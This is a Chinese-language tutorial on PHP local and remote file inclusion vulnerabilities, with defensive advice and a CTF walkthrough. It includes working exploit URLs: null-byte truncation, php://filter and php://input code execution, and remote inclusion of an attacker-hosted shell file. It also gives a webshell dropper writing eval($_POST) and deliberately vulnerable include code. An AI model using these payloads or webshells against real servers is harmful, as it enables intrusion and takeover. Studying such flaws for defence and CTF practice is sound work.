PHP文件包含漏洞詳解:原理、利用與防御
什么是文件包含漏洞?
文件包含漏洞是PHP應用程序中常見的安全問題,當開發者使用包含函數引入文件時,如果傳入的文件名參數未經嚴格校驗,攻擊者就可能利用這個漏洞讀取敏感文件甚至執行惡意代碼。
危險函數
PHP中有四個主要的文件包含函數:
include()
include_once()
require()
require_once()
這些函數在設計上允許動態包含文件,但如果不當使用就會成為安全漏洞的源頭。
文件包含漏洞類型
本地文件包含(LFI - Local File Inclusion)
攻擊者能夠包含并執行服務器本地的文件。
利用方式:
- 直接讀取Flag文件
- 通過PHP偽協議讀取源代碼
- 寫入PHP木馬獲取webshell
示例1:基礎LFI
<?php
$file = $_GET['file'];
if(file_exists('/home/www/'.$file.'.php')) {include '/home/www/'.$file.'.php';
} else {include '/home/www/'.'home.php';
}
?>
利用方法:
http://www.example.com/demo1.php?file=flag.php%00
這里使用了空字節截斷技巧(%00
),使得.php
后綴被忽略,實際包含的是flag.php
文件。
PHP偽協議利用
PHP提供了多種偽協議,可以用于文件包含攻擊:
1. file:// 協議
訪問本地文件系統:
http://www.example.com/index.php?file=file://D:/phpStudy/WWW/flag.txt
2. php://filter
讀取文件源代碼(常用Base64編碼避免直接執行):
http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
3. php://input
將POST數據作為PHP代碼執行(需allow_url_include=On
):
POST /index.php?file=php://input HTTP/1.1
...
<?php system('id'); ?>
遠程文件包含(RFI - Remote File Inclusion)
攻擊者可以包含遠程服務器上的惡意文件。
必要條件:
allow_url_fopen = On
allow_url_include = On
示例2:基礎RFI
<?php
$basePath = @$_GET['param'];
require_once $basePath.'/action/m_share.php';
?>
利用方法:
http://www.example.com/demo4.php?param=http://www.xx.com/attacker/PHPshell.txt?
問號后面的內容會被解釋為查詢字符串,從而截斷原本要添加的后綴。
高級利用技巧
1. 日志文件污染
通過包含Apache或SSH日志文件,在其中注入PHP代碼并執行。
2. Session文件包含
利用PHP session文件存儲可控內容,然后包含session文件。
3. /proc/self/environ利用
在特定環境下,可以通過包含這個文件執行代碼。
防御措施
- 白名單驗證:只允許包含預定義的文件
- 禁用危險配置:
allow_url_fopen = Off allow_url_include = Off
- 路徑限制:設置
open_basedir
限制文件訪問范圍 - 輸入過濾:嚴格校驗用戶輸入的文件名參數
- 避免動態包含:盡可能使用靜態文件包含
實戰案例
案例1:CTF題目解析
題目URL:http://level3.tasteless.eu/index.php?file=
源碼:
<?php
highlight_file('index.php');
/*view file: php.ini
hint enough, might just take you seconds to do?! */
error_reporting(0);
include('anti_rfi.php'); //rfi is forbidden!!!
$inc = @$_GET['file'];
@require_once($inc);
?>
解題步驟:
- 查看
php.ini
確認配置 - 使用
php://filter
讀取源代碼 - 分析源代碼尋找flag
案例2:Webshell獲取
- 準備木馬文件
shell.php
:
<?php fputs(fopen("shell.php", "w"), '<?php eval($_POST["xxx"])?>')?>
- 通過文件包含漏洞上傳并執行
- 使用中國菜刀等工具連接webshell
總結
文件包含漏洞危害嚴重,可能導致敏感信息泄露、系統淪陷等后果。開發者應當重視這類安全問題,遵循安全編碼規范,而安全研究人員則可以利用這些知識更好地發現和修復漏洞。
切記:本文技術內容僅用于合法安全測試和學習研究,未經授權對他人系統進行測試屬于違法行為。